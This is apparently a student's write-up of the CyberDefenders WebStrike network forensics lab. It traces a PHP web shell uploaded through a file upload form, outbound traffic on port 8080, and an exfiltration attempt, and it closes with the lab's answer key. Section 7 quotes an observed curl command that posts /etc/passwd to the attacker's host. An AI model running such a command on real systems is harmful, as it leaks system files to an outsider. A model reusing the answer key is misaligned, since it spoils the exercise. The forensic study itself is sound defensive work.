🛡️ WebStrike Lab – Network Forensics Investigation Report

Platform: CyberDefenders
Track: SOC Analyst Tier 1
Category: Network Forensics
Tool Used: Wireshark
Difficulty: Easy
Analyst: Youssef Amr
Date: January 2026

1. Executive Summary

This report documents the forensic analysis of a suspected web server compromise using a provided PCAP file. The investigation was conducted to identify how the attacker gained access, the techniques used to maintain control, and whether any sensitive data was exfiltrated from the server.

Through detailed packet analysis, it was confirmed that the attacker successfully exploited a vulnerable file upload functionality to deploy a malicious PHP web shell. The attacker then executed the web shell, established outbound communication with an external host, and attempted to exfiltrate a sensitive system file.

2. Incident Overview & Scenario

The Development team detected a suspicious file on a production web server, triggering concerns of a possible compromise. As an immediate response, the Network team captured relevant network traffic and provided a PCAP file for analysis.

The objective of this investigation was to analyze the captured traffic and determine:

- The origin of the attack
- The method of compromise
- The attacker's actions post-compromise
- Whether any data exfiltration occurred

3. Attacker Identification & Attribution

3.1 Source IP Address

During analysis, repeated malicious traffic originated from the following IP address:

`117.11.88.124`

3.2 Geolocation Analysis

Using external IP geolocation services (IPinfo), the attacker's location was identified as:

- **City:** Tianjin
- **Country:** China
- **ISP:** China Unicom (AS4837)

This information is valuable for threat intelligence correlation and potential geo-blocking strategies.

📸 *Screenshot: IPinfo geolocation result*

4. Initial Access – File Upload Exploitation

4.1 Vulnerable Endpoint

The attacker exploited a file upload feature located at:

`/reviews/upload.php`

This was confirmed through multiple HTTP POST requests with `multipart/form-data`.

4.2 Malicious File Upload

The attacker uploaded a file disguised as an image but containing PHP code:

`image.jpg.php`

The successful upload was confirmed by subsequent HTTP 200 OK responses.

📸 *Screenshot: POST /reviews/upload.php request showing file upload*

5. Execution & Persistence – Web Shell Usage

After uploading the malicious file, the attacker executed it via:

`GET /reviews/uploads/image.jpg.php`

This confirms:

- Successful execution of the web shell
- Remote command execution capability on the server

5.1 Upload Directory Identification

The directory used by the application to store uploaded files was identified as:

`/reviews/uploads`

This directory was accessed multiple times by the attacker to locate and execute uploaded content.

📸 *Screenshot: GET request to /reviews/uploads/image.jpg.php*

6. Command and Control (C2) Communication

Further analysis revealed outbound TCP connections initiated by the compromised server to the attacker.

6.1 Detected Port

Unauthorized outbound communication was observed on:

`TCP Port 8080`

This behavior is consistent with reverse shell or command-and-control activity, allowing the attacker to remotely control the compromised system.

📸 *Screenshot: TCP traffic showing outbound connection on port 8080*

7. Data Exfiltration Attempt

7.1 Identification of Exfiltration Activity

By filtering outbound traffic on the detected port and following the TCP stream, a command indicating data exfiltration was identified.

The following command was observed within the TCP stream:

`curl -X POST -d /etc/passwd http://117.11.88.124:443/`

7.2 Analysis

This command confirms that the attacker attempted to exfiltrate a sensitive system file:

`/etc/passwd`

Although the success of the transfer cannot be fully confirmed, the intent to exfiltrate sensitive data is clear.

📸 *Screenshot: Follow TCP Stream showing curl POST command*

8. MITRE ATT&CK Mapping

Tactic	Technique
Initial Access	Exploit Public-Facing Application
Execution	Web Shell
Persistence	Web Shell Deployment
Command & Control	Application Layer Protocol
Exfiltration	Exfiltration Over Web Service

9. Conclusion

The investigation confirmed a full web attack lifecycle:

1. Initial access through insecure file upload
2. Deployment of a malicious PHP web shell
3. Execution and remote control of the server
4. Outbound command-and-control communication
5. Attempted exfiltration of sensitive system data

This incident highlights the importance of:

- Strict file upload validation
- Restricting executable files in web directories
- Monitoring outbound traffic
- Detecting suspicious command-line activity

10. Recommendations

- Implement file type validation and content inspection

- Disable PHP execution in upload directories
- Monitor outbound connections from web servers
- Deploy IDS/IPS and SIEM correlation rules
- Regularly review web server logs and network traffic

☑ Final Answers Summary

Question	Answer
Q1	Tianjin, China
Q2	Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Q3	image.jpg.php
Q4	/reviews/uploads
Q5	8080
Q6	/etc/passwd